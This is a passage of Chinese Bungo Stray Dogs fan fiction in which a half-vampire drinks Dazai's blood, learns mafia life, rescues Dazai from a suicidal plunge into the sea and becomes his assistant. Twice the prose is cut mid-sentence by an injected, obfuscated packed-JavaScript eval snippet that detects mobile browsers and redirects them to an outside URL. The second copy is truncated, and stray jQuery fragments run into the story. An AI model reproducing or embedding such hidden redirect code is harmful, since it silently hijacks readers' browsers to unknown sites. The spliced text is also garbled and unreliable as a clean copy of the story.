菲那恩的瞳孔骤然放大,所有的疲惫和空洞瞬间被一种本能的、压倒性的渴望取代。 他几乎是踉跄着扑了过去,冰冷的手指带着轻微的颤抖,紧紧抓住了太宰治的手腕,仿佛抓住了救命稻草。他没有丝毫犹豫,低头,柔软的唇急切地贴上了那道流血的伤口。 他极其小心地让伤口避开自己的獠牙,只用柔软的舌尖急切地舔舐、吮吸着那温热的、救命的液体。 甘美的血液涌入喉咙,让他忍不住发出一声满足的、带着哽咽般的喟叹。 太宰治垂眸,看着伏在自己手臂上、如同虔诚信徒般汲取生命的菲那恩。 对方的粉色长发有几缕散落在他黑大衣上,形成强烈的对比。 他能清晰地感受到对方冰冷的唇舌带来的奇异触感,以及那全然的近乎献祭般的依赖。 仓库里浓重的血腥味,地上横七竖八的尸体,与此刻这近乎诡异的、带着致命吸引力的亲密场景形成了荒诞的对比。 看着菲那恩因自己的血液而迅速恢复血色、紧蹙的眉头舒展开来的脸庞,看着他长长的白色睫毛如同蝶翼般因满足而轻轻颤抖…… 太宰治心中那丝因目睹菲那恩失控眼神而产生的极其微妙的异样感,似乎被眼前这全然的依赖和满足冲淡了一些。 他伸出另一只手,指尖极其自然地、轻轻拂开沾在菲那恩脸颊上的一缕被血污凝结的粉色发丝。 动作轻柔,带着一种连他自己都未曾深究的……安抚意味。 “……慢点。”他的声音比平时低沉,带着一丝不易察觉的沙哑,在寂静的、充满死亡气息的仓库里,显得格外清晰。 菲那恩沉浸在那救赎般的甘甜中,对此毫无所觉。 当伤口在舔舐下迅速愈合,菲那恩也终于松开了手。 他抬起头,脸上带着餍足的红晕,赤红的眼眸水润润地望着太宰治,仿佛刚才那个在血泊中暴烈杀戮的修罗从未存在过。 太宰治迅速收回手,用绷带重新缠好手腕,动作利落,仿佛刚才那片刻的温柔只是错觉。 “任务完成得……很‘彻底’。”他瞥了一眼周围的惨状,语气恢复了惯常的轻佻,“走吧,该回去汇报了,浑身是血的吸血鬼大人。” 他转身向仓库外走去,步伐从容。 菲那恩支撑着站起身,虽然还有些脱力,但力量已然恢复不少。 他看着太宰治的背影,下意识地舔了舔嘴角残留的、属于对方的血腥气,点了点头。 太宰治走在前面,夜风吹拂着他的黑大衣。 他低头,看了一眼自己缠着绷带的手腕,那被舔舐过的皮肤似乎还残留着一丝冰冷的触感。 ……真是个麻烦又危险的生物。 他无声地想着。 他掏出手机,编辑了一条短信发送出去。 【测试任务完成,‘毒蝎’据点已清除,菲那恩·德·图拉尔,其战斗能力与意志力远超评估,在遭遇远超情报显示的埋伏火力、装备精良、且占据绝对地利的情况下,凭借其速度、力量、再生能力、异能,完成清剿。其单体作战价值,评估为S级。】 ——收件人是森鸥外。 ………… 菲那恩辗转反侧,难以入眠。 菲那恩需要一个确定的答案。 于是,他半夜跳窗,离开公寓,身影悄然融入横滨迷离的夜色,脚踝上的银环在月光下闪着微光。 横滨的夜晚带着海风的咸腥,霓虹灯在湿漉漉的街道上晕染开模糊的光斑。 菲那恩裹紧了一件不起眼的深色外套,帽檐压得很低,遮住了他标志性的粉色长发和过于苍白的肤色。 他刚刚从第三家医院的捐血库后巷阴影里走出来,胃里翻腾着恶心与失望。 还是不行。 任何人类的血浆,无论是冷藏的袋装品还是刚从志愿者身上抽出的温热液体,只要入口,便立刻化为一种令人作呕的、带着铁锈味的泥浆,刺激着他的喉咙,引发剧烈的排斥反应。 那个答案不言而喻。 ——他的食谱真的真的缩小到只有太宰一人了。 既然太宰治的血已经成了他唯一的食粮,他就只能更加坚定将太宰治变成自己的血仆的想法了。 出于自己的教养和底线,他一定会等着太宰亲口同意的。 等太宰同意了,他有的是办法让太宰治一直陪他,永生。 毕竟,他也算得上是秘术使用者中的天才。 【血族秘术】能够做到一切能够用血族能量“编织”的事,只要能够构建精密的微型法阵便能实现——这是真正意义上的魔法。 他体内一半人类的血脉让他无法初拥人类,但以他自身细胞活性为基底,改变一个人类的细胞活性,让其永生这种事,理论上来说用[血族秘术]可以做到,只是需要一点时间研究。 13. 培训 公寓。 菲那恩正趴在茶几上拿着单词本学日语。 "毒蝎全歼,你干得很好哦,菲那恩。"太宰治的声音从头顶飘下来,带着蜂蜜般的甜腻。 菲那恩猛地抬头,正撞进那双鸢色的眼睛里——没有嘲讽,没有戏弄,只有一种纯粹的赞赏。 被、被夸了…… 菲那恩极其不自在地将视线移回桌子上的单词书上。 为了给菲那恩科普一下基本的现世常识,以及港口mafia的运行原理和阶级职务,太宰治的"培训"从菲那恩的常识开始。 "首先,见到蛞蝓要装作没看见。"他翘着腿坐在沙发上,手里转着一把裁纸刀,"但如果他先打招呼,你就说''今天的帽子也很适合你''。" 菲那恩的钢笔在笔记本上沙沙作响,写出来的是现世不明的古文。 【蛞蝓→视而不见/夸帽子】 笔尖一顿,菲那恩突然抬头,眼神里是货真价实的求知欲:“蛞蝓是……?” “长得很矮、品味很奇怪的、戴着帽子的、名叫中原中也的人。”太宰治啧了一声,仿佛提到这个名字都污染了空气。 菲那恩默默把笔记本上的蛞蝓划掉,按照太宰治的说法,一字不落地写了上去。 "红叶大姐喜欢乖孩子,记得主动问好。"太宰治继续说道,刀尖"哆"地钉入实木桌面,"不过千万别碰她的和服袖子,上次这么干的人还在东京湾喂鱼。" 【红叶大姐→问好/禁止肢体接触】。 "至于森先生……"太宰治突然凑近,带着绷带气息的吐息拂过菲那恩耳畔,"建议直接装死。" 菲那恩下意识地缩了缩脖子,钢笔尖“啪”地一声脆响,折断了。 他愣愣地看着断掉的笔尖,又抬眼看向太宰治,眼里满是不解:“为什么?” 太宰治重新拉开距离,懒洋洋地靠着沙发闭目养神,“因为一般只有在首领办公室能看见森先生,如果你在其他地方看到他,那大概率他要搞事了。” 他声音拖得长长的,带着点意味深长的笑意,“比如,给某个倒霉蛋分配不可能完成的任务,或者,心血来潮想给你‘检查身体’。” 他做了个打针的手势。 菲那恩若有所思地点了点头,随即反应过来,眼睛微微睁大:“竟然会这样吗……” 当太宰治把拆散的枪械零件哗啦倒在菲那恩床上时,菲那恩终于忍不住抗议:"该休息了……" "所以才要在床上躺着上课呀~"太宰治顺手把撞针塞进他睡衣口袋,"来,组装试试?" 他笑得像只准备看戏的狐狸。 三分钟后,菲那恩顶着被自己揉乱的头发,手里举着装反的弹匣:"......" "噗。"太宰治突然笑倒在床边,"你刚才摸到消音器时的表情……像摸到烫年糕的猫……" 菲那恩默默看了一眼手里装反的弹匣,又看了看笑得毫无形象的太宰治,面无表情地手腕一抬—— 弹匣带着风声砸向那张可恶的俊脸。 太宰治脑袋一偏,弹匣“咚”地砸在门板上,滚落在地毯上。 “哎呀呀,谋杀同事兼上司罪加一等哦。”太宰治抹掉笑出的眼泪,站起身,“走吧,带你出门实践。” 出门前,太宰治状似无意地拉住菲那恩的手腕,脸上是惯常的无所谓:“就这么出去,你真的不会被晒成吸血鬼干儿吗?” 菲那恩皱眉,用力抽回手,语气带着点被小看的郁闷:“……真的不会,我只是会讨厌阳光,但实际上晒太阳是完全没问题的。” 他强调道,“……我好歹也是半个人类。” 太宰治松开手,耸耸肩,率先拉开门:“那就好,要是森先生刚到手的新人还没正式上班就化成灰了,他可是会抱着爱丽丝哭给我看的哦。” 菲那恩决定放弃对这几个奇怪人类的理解。 太宰治所谓的常识课地点是附近一条最普通的商业街,他目标明确地走向便利店。 “首先,关东煮的萝卜一定要煮到透明才好吃。”太宰治站在便利店的加热柜前,用夹子戳了戳漂浮在汤里的白萝卜块,语气严肃得像在讲解某种致命武器,“但鱼丸不能泡太久,否则会变得软趴趴的,口感像烂掉的橡皮。” 菲那恩点头,认真在笔记本上写下:【关东煮——萝卜(透明),鱼丸(不宜久泡)】。 太宰治瞥了一眼他的笔记,忽然伸手从加热柜里夹出一颗鱼丸,直接塞进菲那恩嘴里:“理论知识不如实践,尝尝看?” 菲那恩猝不及防被烫得眼眶发红,但还是乖乖咀嚼咽下,然后小声评价:“……确实像橡皮。” 太宰治看着他被烫红的脸颊和泛着水光的眼睛,毫不客气地笑出了声,引得旁边擦窗玻璃的服务员好奇地看了过来。 菲那恩不好意思地低头,耳尖悄悄红了。 横滨公共交通系统。 “这条电车线通往港口仓库区,理论上二十分钟一班。”太宰治站在月台边缘,风衣下摆被疾驰而过的列车带起的风吹得猎猎作响,“但实际上,如果看到车厢里有三个以上穿黑西装戴墨镜的男人,最好等下一班。” 菲那恩低头记笔记:【电车——黑西装×3=危险】。 “为什么?”他问。 太宰治歪头:“因为他们可能是去收保护费的,也可能是去火并的,还有可能是去收尸的。” 他顿了顿,补充道,“当然,也有可能只是港口Mafia的基层员工集体团建。” 菲那恩:“……” 他默默在笔记上又加了一句:【也可能是团建】。 黑市。 午后的小巷阴暗潮湿,太宰治轻车熟路地拐进一家招牌斑驳的旧书店,对柜台后满脸刀疤的老头笑眯眯地打招呼:“山田先生,最近有新货吗?” 老头瞥了他一眼,慢吞吞地从柜台下摸出一本封面香艳的杂志:“最新一期,《周刊美少女》。” 太宰治依旧笑眯眯:“不是这种‘货’啦。” 老头“啧”了一声,又弯腰从更隐蔽的抽屉里取出一个牛皮纸袋:“军火价目表,上周更新的。” 菲那恩站在一旁,看着太宰治熟练地翻看价目表,甚至还能讨价还价:“诶——手榴弹涨价了?上次不是这个价吧?” 老头翻了个白眼:“通货膨胀。” 太宰治叹气:“经济不景气啊……” 菲那恩低头记笔记:【黑市交易——可议价,通货膨胀影响手榴弹价格】。 黄昏时分,他们站在横滨港的堤岸上,远处海面被夕阳染成橘红色,波光粼粼得像洒了一池碎金。 太宰治忽然停下脚步,转身面对菲那恩。 “菲那恩君。”他的声音很轻,带着一丝微妙的笑意,“如果现在我要杀你,你会怎么做?” 海风拂过菲那恩的额发,露出他平静的眼睛。 他没有惊慌,甚至没有露出困惑的表情,只是合上笔记本,“虽然我不觉得你能杀死我,也不觉得我会被杀死,但我会先问为什么。” 太宰治微微睁大了眼,嘴角勾起一抹兴味的笑。 “为什么?”他饶有兴趣地追问。 “因为……”菲那恩想了想,抬眼看着太宰治那双鸢眸,歪了歪头,“我好奇?” 太宰治盯着他看了几秒,忽然笑了。 不是那种浮于表面的、轻佻的笑,而是一种从眼底漫上来的、真实的愉悦。 “不错的答案。”他转身继续往前走,风衣在暮色中划出流畅的弧线,“比横滨的夕阳有趣多了。” 菲那恩站在原地,看着他的背影,半晌才跟上去。 随后,映入菲那恩眼眸中的是令他震惊的一幕。 太宰治并没有沿着堤岸继续前行。他走到堤岸边缘,脚步没有丝毫停顿,甚至带着一种近乎优雅的轻快,如同走向一场期待已久的约会。 夕阳的余晖在他鸢色的发梢跳跃,为他瘦削的轮廓镀上一层不真实的金边。 然后,在菲那恩完全没反应过来的瞬间—— 他张开双臂,身体微微前倾,像一个拥抱落日的信徒,又像一个厌倦了舞台的演员,无声无息地、轻盈地坠入了波光粼粼的橘红色海面。 没有水花,没有挣扎,甚至没有一声惊呼,只有“噗通”一声闷响,被海风迅速吹散,快得像幻觉。 菲那恩整个人僵在了原地。 发生了什么? 他……掉下去了? 为什么?这么突然……? 刚才不是还在说夕阳吗? “比横滨的夕阳有趣多了”……是指这个?! 那股属于血族的敏锐感知力能让他清晰地“听”到太宰治落水瞬间衣物被水浸透的声音,感受到水波被扰动后微弱的能量涟漪,甚至能捕捉到那个人体沉入水下几米后,开始随着水流缓慢漂移的轨迹。 平静得……太宰治就如同被投入水中的一块石头。 “太宰……?”菲那恩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337550|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音卡在喉咙里,带着他自己都没察觉的茫然。 他来不及细想,向前疾走几步,冲到堤岸边缘,探头向下望去。 海面只剩下被搅动的粼粼波光,哪里还有太宰治的影子?只有几个泡泡慢悠悠地浮上来,破裂。 “喂!”菲那恩提高了音量,试图穿透海风和水声,“太宰治!” 回答他的只有海浪拍打堤岸的哗哗声,以及远处海鸥的鸣叫。 水下那越来越微弱、越来越平稳的生命气息,却表明了——那不是在演戏,那是一种彻底的、沉静的自我放弃。 菲那恩的眉头紧紧拧在一起,血色的眸子里充满了前所未有的困惑。 这个人类……这个叫太宰治的人类,脑子里到底装了什么?!比那些复杂的枪械零件还要难以理解一万倍…… “开什么玩笑……”菲那恩低声骂了一句。 所有人类的生死他都不关心,唯独太宰不行,太宰可是他的目标。 他要得到太宰,将太宰变为自己的血仆。 下一秒,他做出了决定。 无论这是不是培训的内容之一,无论这个混蛋人类想干什么,他都不能让他这么草率地死了。 这太荒谬了。 菲那恩一把将笔记本塞进外套内侧口袋,毫不犹豫地单手撑住堤岸的栏杆,身体以一个远超人类极限的敏捷和爆发力,纵身跃下。 他身上那件精致的粉色和服,在纵身一跃时,宽大的袖摆如同蝶翼般展开,随即被疾风紧紧压向身体。 冰冷的黑色海水瞬间包裹了他,巨大的冲击力让柔软的丝绸布料紧紧吸附在皮肤上。他奋力划水,血族的力量赋予了他远超常人的水下速度,像一道粉色的闪电破开水流,迅速接近那个缓缓下沉的身影。 他一把抓住太宰治衬衣的后领,用尽力气将他向上拽。 接触到对方身体的瞬间,菲那恩能清晰地感觉到自己的血族力量被抹消,以及太宰治体内生命力的微弱流逝,还有那种毫无防备的、任凭死亡的松懈感。 作为血族他其实不太需要空气,但呼吸已经是从小时候开始就形成的本能,所以他下意识地一直憋着气,拖着太宰治沉重的身体向上游。 破水而出的瞬间,他大口呼吸着咸湿的空气,一手紧紧箍着太宰治的胸膛,另一只手奋力划向最近的堤岸阶梯。 好不容易把人拖上岸,菲那恩自己也浑身湿透,水珠顺着湿透的粉发和下巴不断滴落。 他顾不上自己,立刻将太宰治平放在冰冷的石阶上。对方脸色苍白,嘴唇泛着青紫色,双目紧闭,胸口几乎没有起伏。 菲那恩跪在他身边,血色的眼睛里充满了复杂的情绪。 他伸出手指探向太宰治的颈动脉——微弱的跳动还在。 “咳…咳咳咳……”太宰治突然剧烈地咳嗽起来,呛出好几口海水。 他艰难地睁开鸢色的眼睛,里面一片水雾朦胧,似乎还没完全聚焦。 当他的视线终于对上菲那恩那张写满震惊、茫然、恼怒和一点点担忧的脸时,太宰治居然又扯出了一个虚弱但依旧欠揍的笑容。 “啊啦……菲那恩君……”他的声音沙哑得像砂纸摩擦,“真是……这么着急……想和我一起……殉情吗?” 菲那恩语塞:“……” 刚才在水下奋力挣扎拖拽,加上上岸的动作,菲那恩身上那件本就因浸水而变得沉重松垮的粉色和服彻底乱了套。 湿透的粉色丝绸紧贴着他身体的曲线,勾勒出少年人特有的青涩轮廓。 “太宰你……脑子被海水泡坏了?”菲那恩嘴角一抽。 他看着眼前这个刚从鬼门关溜达一圈回来、浑身湿透像只落水狗、却还在胡说八道的家伙,只觉得一股无名火直冲脑门,气得他尖牙都差点不受控制地露出来。 回程的电车上,菲那恩困得脑袋一点一点,最终不受控制地歪向太宰治的肩膀。 太宰治侧头看他,唇角勾起一抹恶劣的弧度,突然伸手捏住他的鼻子。 菲那恩迷迷糊糊地挣扎了一下,猛地惊醒,瞪大眼睛:“……你干嘛?” 太宰治笑眯眯:“防止你睡过站。” 菲那恩深吸一口气,终于忍无可忍,一把抓住太宰治的手腕,凶巴巴地道:“太宰!你再这样,我就把你从电车上扔下去。” 太宰治眨了眨眼,故作委屈道:“菲那恩好凶。” 菲那恩表情有一秒钟的宕机:“……” 最终,菲那恩放弃了。 14. 成为助理 很快,菲那恩空降成了太宰治的助理,在太宰治的办公桌旁边安放了一个小长桌,作为他的办公桌。 清晨,港口Mafia总部大楼顶层干部办公室弥漫着一股没睡好觉的低气压。 菲那恩看着太宰治喝咖啡,忍不住小声吐槽道:“喝咖啡就像在喝融化的沥青……” 他皱着鼻子,一脸无法理解的表情。 太宰治端着咖啡杯的手顿住了,“……” 他鸢色的眼眸危险地眯了起来,盯着菲那恩。 “嘛,”太宰治坐在办公桌前,放下装着咖啡的杯子,发出清脆的磕碰声,“菲那恩,作为我的新任助理,首要任务自然是熟悉我们的企业。” “港口Mafia,横滨黑夜的支配者之一,我们的‘生意’范围很广,从传统的‘货物’运输与安保,”他指尖轻轻敲击桌面,暗示着走私与军火,“到娱乐产业的管理,”意指赌场、夜总会等灰色地带,“再到一些……更精细的‘信息咨询’和‘矛盾调解’服务。” 他的话语像裹着糖衣的毒药,将血腥与暴力包装成冰冷的商业术语。 菲那恩一脸茫然地点了点头,“懂了。” “你真懂了?”太宰治眼底一片青黑,显然又又又没睡好觉,正用着一种哀怨的眼神盯着同样精神不佳的菲那恩。 昨天晚上,菲那恩尝试潜入他的房间,结果触发了他无聊设下的、连着十个闹钟的恶作剧陷阱。 震耳欲聋的铃声,随之而来的是他带着血丝的鸢眸,紧紧地盯着菲那恩。 “那个柜子太小了,我就想来看看你的柜子……”菲那恩心虚地解释道。 下一秒就被他轰出了房间,没一会儿菲那恩又在房间外面打碎了一个花瓶。 菲那恩既是新奇的玩具,又是麻烦的源头。 “啊?懂了,你说的很简单啊。”菲那恩认真地点了点头。 太宰治定定地看了菲那恩好一会儿,扯出一个笑,“那就好,我亲爱的助理,菲那恩君——” 他的声音拖得长长的,带着没睡醒的慵懒和一丝危险的甜腻,“托你的福,我昨晚体验了地狱般的噪音,现在头疼得像被中也踢过一样……作为补偿,今天的工作,那就请加倍努力吧?” 菲那恩愧疚地垂着眼眸,像个做错事的孩子,“抱歉,我需要适应一段时间的人类作息……” “道歉有用的话,还要Mafia做什么?”太宰治笑眯眯的,像只准备玩弄猎物的黑猫,“那么,开始吧。” “下午三点,我有个关乎组织‘未来大计’的绝密会议,”他故意压低了声音,营造神秘感,“需要一份关于横滨地下排水系统近五年流量波动及潜在淤塞风险的分析报告作为支撑材料,原始资料在……” 他拖长了调子,像是在努力回忆,“档案室最深处,B区,17号柜,最底层那个……嗯,大概落满了灰、封面是蓝色的旧文件夹里。” “辛苦菲那恩帮我找出来,并且……”他露出一个看起来似乎还挺和善的微笑,“手写誊抄一份,字迹务必工整清晰,不能有任何涂改污迹,这关系到组织‘地下世界’的布局,非常重要哦。” 菲那恩歪了歪头,似乎在消化“地下排水系统”与“组织未来大计”之间的逻辑关系,但太宰说得如此郑重…… ——肯定很重要! 他点了点头,语气中甚至还有了一种被信任的使命感,“好的,保证完成任务!” 太宰治看着他毫无怨言、甚至有点小兴奋地转身离开的粉色背影,鸢色的眼眸深处闪过一丝难以言喻的复杂光芒。 这种纯粹的、不带任何算计的感觉和乎傻气的认真……真是……太糟糕了。 让人忍不住想看看,他忍耐的极限在哪里。 档案室B区。 菲那恩在昏暗、满是灰尘和旧纸张气味的档案室B区,费了九牛二虎之力,才从17号柜最底层拖出那个几乎被遗忘、封面蒙着厚厚灰尘的蓝色文件夹。 他小心地吹去这份“关乎组织未来”的“珍贵情报”灰尘,结果却被呛到了。 “咳咳咳……我真是……咳咳……” 随后,他刚出档案室厚重的门,便遇上了一位身着红白振袖和服、气质优雅的女性——尾崎红叶。 她金色的眼眸带着温和却洞察一切的笑意,落在了菲那恩和他怀里的旧文件夹上。 “哎呀呀,这可真是位稀罕的小客人呢。”尾崎红叶掩唇笑道,带着一丝恰到好处的惊讶,“想来少年你便是太宰君新收的助理,菲那恩君了?” 作为主管情报和拷问的干部,尾崎红叶是知道菲那恩的真实身份的——古老的血族。 菲那恩在看到她的瞬间,脑中立刻浮现出太宰治之前对组织架构的简单介绍。 眼前这位气质华贵、威压内敛的女性,无疑就是那位令人敬畏的尾崎红叶干部。 “尾崎干部。”菲那恩立刻停下脚步,微微颔首,动作隐约带着一种古老世家浸染出的、略显生疏的礼节感,“初次见面,我是菲那恩·德·图拉尔。” 尾崎红叶眼中闪过一丝浓厚的兴趣。 “不必如此拘谨,菲那恩君。”红叶的声音带着长辈般的温和,但那温和之下,是深海般的莫测,“妾身只是恰巧路过。不过……” 她的视线重新落回文件夹上,红唇勾起一个意味深长的弧度,“能让太宰君特意差遣新助理亲自跑一趟档案室深区的‘机密文件’,想必事关重大?” 菲那恩血色的眼眸里闪过一丝被委以重任的认真,或者说,被太宰治忽悠瘸了的使命感,郑重地点点头,“嗯嗯,这是关于横滨地下排水系统近五年流量波动及潜在淤塞风险的原始资料。” 他顿了顿,补充道:“……太宰说,这关系到组织下午‘未来大计’绝密会议的关键支撑,非常重要,要求我务必手写誊抄一份,字迹清晰,不能有丝毫涂改污迹。” 空气似乎凝固了一瞬。 尾崎红叶那双金色的眸子微微睁大了些,里面清晰地映出菲那恩那张写满“严肃认真完成任务”的漂亮脸蛋。 随即,一种极其古怪的、压抑不住的震动从她喉咙深处传来。 她用宽大的振袖掩住下半张脸,但微微耸动的肩膀和那双弯成了月牙的金眸,都泄露了她此刻的心情。 “噗……咳咳……”她终究是没忍住,发出一声短促的、带着笑意的轻咳,连忙调整呼吸,才勉强维持住优雅的姿态。 她放下袖子,眼角眉梢的笑意却更深了,带着一种洞悉一切的狡黠和……毫不掩饰的幸灾乐祸? 随后,她重新看向菲那恩,那眼神像是在看一只被狡猾狐狸骗得团团转、还一本正经帮狐狸数松果的傻兔子。 不过话又说回来,菲那恩君完全算得上“古人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她金色的眸子里那丝戏谑的笑意更深了,几乎要满溢出来,但同时也带上了一丝更深的、难以言喻的玩味。 这种近乎顽固的信任和纯然的好感……在港口Mafia,尤其是对着太宰治,简直是比血族本身还要稀有的存在。 尾崎红叶眼眸里闪烁着洞悉一切的光芒,语气恢复了那份雍容的淡然:“你说的对,太宰君毕竟是你的直属上司,他布置的任务,自然有他的……道理。” 她优雅地用指尖轻轻点了点那本文件夹,“身为新人的第一份‘重要工作’,菲那恩君认真完成其实也很好哦?” 她欠了欠身,红唇勾起一个完美的弧度,“那么,妾身还有要事在身,就不打扰菲那恩君完成‘重要工作’了。” 她不再停留,宽大的红白振袖如同翩跹的蝶翼,优雅地转身,踩着木屐,发出清脆的“嗒、嗒”声,消失在档案室走廊的拐角处,只留下一缕淡淡的、高级熏香的余韵。 菲那恩愣在原地,看着尾崎红叶消失的方向,随即又低头看了看怀里的文件夹,继续朝着记忆中太宰的办公室走去。 他刚转过一个拐角,一个低沉的、带着点不耐烦的声音响起:“喂!那边的粉毛!” 菲那恩抬头,只见中原中也正大步流星地迎面走来,钴蓝色的眼睛落在他身上,眉头习惯性地微蹙着,但眼神却不像初见时那样充满审视和敌意,反而带着点……探究? 是那个打伤他的很厉害的人类……! 菲那恩不由自主地警惕了起来。 15. 摸摸头 “你是长得很矮、品味很奇怪的、戴着帽子的中原中也。”菲那恩眼神一沉,低声道。 “……哈?”中原中也并不在意菲那恩的直呼全名,但前面那一长串形容让他火大,不用猜,他都知道是谁的手笔,“喂,一定是太宰教你的吧?!” 菲那恩震惊,眼里写满了“你怎么知道”,他的目光落在中原中也的帽子上,表情微妙道:“今天的帽子……也很适合你?” 中原中也心情肉眼可见地好了起来,“哦?!真的吗?!我也觉得今天的帽子特别帅气!” 菲那恩在心里抹了一把汗。 竟然……都被太宰预料到了…… 中原中也走到菲那恩面前,目光扫过对方怀里的旧文件夹和袖口的灰尘,清了清嗓:“你刚刚……在档案室折腾什么?” 中原中也的语气依旧直接,但少了些火药味,更像是一种随口的询问。 “……是太宰交代的任务。”菲那恩都不太想说这是任务。 中也闻言,心里大概明白了八九分。 他啧了一声,抬手压了压自己的帽檐,眼神有些游移,似乎在斟酌词句。 “咳,”中也清了清嗓子,声音比平时低了些,带着点不易察觉的别扭,“那个……之前在拍卖行……抱歉。” 他飞快地瞥了菲那恩一眼,又迅速移开目光,帽檐遮住了他大半表情,“我当时……呃,总之,下手重了点。” 语气虽然生硬,但那份歉意却是实打实的。 菲那恩彻底愣住了。 他没想到这位看起来脾气火爆、一言不合就动手的重力使,居然会主动为前几天的事道歉。 明明当时大家的立场本就不同…… 但那钴蓝色眼睛里的别扭和真诚,与太宰治那总是带着算计和恶趣味的鸢眸截然不同。 一种奇异的暖流,也让他的心稍微软化了一点。 “……你那明明是下了死手的。”菲那恩别过脸,声音带着点不自然的别扭,说话都结巴了,“不过区区……人、人类的一击,怎么可能……影响到我!” 说完他又顿了顿,似乎觉得这样说不太好,又小声补充了一句,“……不过,你的道歉,我接受了。” 中原中也好像松了口气,“没事就好。” 他摆摆手,又上下打量了菲那恩一眼,“喂,在这里待得还习惯吗?太宰那混蛋……没太欺负你吧?”最后一句问得有点犹豫,眼神却带着点直率的关心。 “嗯?太宰不会欺负我的。”菲那恩感觉莫名其妙,他归结为太宰风评不太好。 菲那恩看着中也眼中那抹别扭但纯粹的关心,突然就明白了一件事。 ——这位重力使貌似也是个热心肠的人。 菲那恩想了想该如何称呼中原中也,“谢谢中原……的关心?” 中原,类比对太宰治的称呼为“太宰”。 “哈?”中原中也皱眉,很少会有人称呼他的姓氏,“叫我中也就行,反正我也不期望你会加上敬称。” 菲那恩眨了眨眼睛,点了点头,“中也。” 中原中也钴蓝色的眼睛闪过一丝不自在,又抬手压了压帽檐:“……嗯,有什么麻烦,可以找我,毕竟都是同事。” 说完,他似乎觉得这话有点太“温和”了,立刻又板起脸补充道,“当然,前提是别给我惹麻烦!走了!” 他转身,快步离开了。 菲那恩抱着文件夹,看着中也消失的背影,在原地站了一会儿,嘟囔道:“奇怪的人类……” 办公室里的太宰治,正支着下巴,百无聊赖地转着笔,鸢色的眼眸里带着一丝恶劣的期待,想象着菲那恩在灰尘漫天的档案室里灰头土脸、或者在路上碰上好心人发现自己被耍了后气鼓鼓跑回来质问他的样子。 听到开门声,他懒洋洋地抬起眼皮,目光精准地落在菲那恩怀里的蓝色文件夹, 最后定格在对方那张没有丝毫怨气,反而带着一种奇异的专注的精致脸庞上。 “太宰,”菲那恩走到自己的小长桌前,赤红的眼眸亮晶晶地看着太宰治,语气认真无比,“资料找到了,我现在就开始誊抄,绝不耽误下午的绝密会议。” 太宰治:“……” 他转笔的动作停住了,鸢色的眼眸定定地看着菲那恩那张写满“我超认真完成任务快来夸我”的脸。 空气仿佛凝固了几秒。 一丝极其罕见的、名为“无语凝噎”的情绪,悄然爬上了太宰治的心头。 ……这家伙,到底是怎么活了几百年的? 不,倒不如说……其实也不是特别意外…… 菲那恩拉开椅子坐下,翻开那本破旧的蓝色文件夹,里面是密密麻麻、字迹模糊、甚至带着霉点的数据表格和报告。 他拿起旁边准备好的崭新稿纸和钢笔,深吸一口气,开始一个字一个字地誊抄。 其实这些日文他根本看不懂多少,能听懂已经很莫名其妙的buff了,再加上字迹不清,抄起来难上加难。 但是他的动作带着一种近乎刻板的认真,腰背挺得笔直,粉色的长发垂落颊边,侧脸线条紧绷。 太宰治看着他这副强撑着认真工作的样子,鸢色的眼眸深处闪过一丝极其愉悦的“大仇得报”的光芒。 他不再说话,也拿起一份文件翻看,办公室里只剩下钢笔划过纸张的沙沙声,以及菲那恩偶尔因为辨认不清字迹而发出的、几不可闻的懊恼轻哼。 时间在沉默和无声的较劲中缓缓流逝,窗外的阳光变得柔和,最终染上了黄昏的金红色。 菲那恩那份属于血族的精力,早已被枯燥的誊写、强撑的精神和腹中的饥饿感消耗殆尽。 钢笔尖在纸上移动的速度越来越慢,眼皮也越来越沉,像坠着千斤的铅块。 他努力想撑开,血色的瞳孔失焦了一瞬,又顽强地凝聚起来,然而那份凝聚也只持续了短短几秒。 终于,在艰难地辨认完一个模糊的数字,将它工整地抄写到新稿纸上后,那根紧绷到极限的弦,“嘣”地一声,彻底断了。 菲那恩的头一点、一点地垂了下去。 先是粉色的、柔软的发顶,轻轻地触碰到了冰凉的桌面。 接着,是光洁饱满的额头。最后,是带着点婴儿肥、触感冰凉细腻的左边脸颊。 他整个人像是被抽走了所有的支撑,软软地、毫无防备地侧趴在了那堆尚未誊抄完的稿纸和那本旧文件夹上。 粉色的长发如同散开的华丽绸缎,铺满了桌面,有几缕还调皮地盖住了他刚写下的字迹。 长长的、浓密的白色睫毛在眼下投下两弯安静的、小小的阴影,随着平稳而微弱的呼吸,极其轻微地颤动着。 世界彻底安静了下来,只剩下那微弱得几乎听不见的、绵长的呼吸声。 太宰治不知何时停下了手中的动作。他抬起头,目光落在对面那个毫无防备、累得直接睡过去的身影上。 窗外,夕阳的余晖透过没拉严的窗帘缝隙,在地板上投下最后几道温暖的光带。 太宰治脸上的所有表情——戏谑的、掌控的、带着恶趣味的——如同潮水般褪去,只剩下一种近乎空白的平静。 突然,他站起身,动作轻得如同幽灵,没有带起一丝空气的流动,绕过巨大的红木办公桌,走到菲那恩身边。 阴影笼罩下来,将菲那恩完全包裹。 他低头看着那张陷在文件堆里的睡颜。 粉色的发丝有几缕被他自己压在了脸颊下,显得有点凌乱。 闭上了那双情感丰富的血色眼眸,此刻的他不像是童话里极恶的吸血鬼,反而安静得像个不谙世事的孩子,精致,脆弱,毫无威胁。 太宰治静静地看了很久,鸢色的眸子里沉淀着某种难以解读的、幽深的光。 时间在寂静中流淌。 片刻后,他鬼使神差一般,缓缓地、试探性地伸出手。 修长、骨节分明的指尖,带着一丝微不可查的迟疑,最终轻轻地落在了菲那恩那头手感极好的粉色长发上。 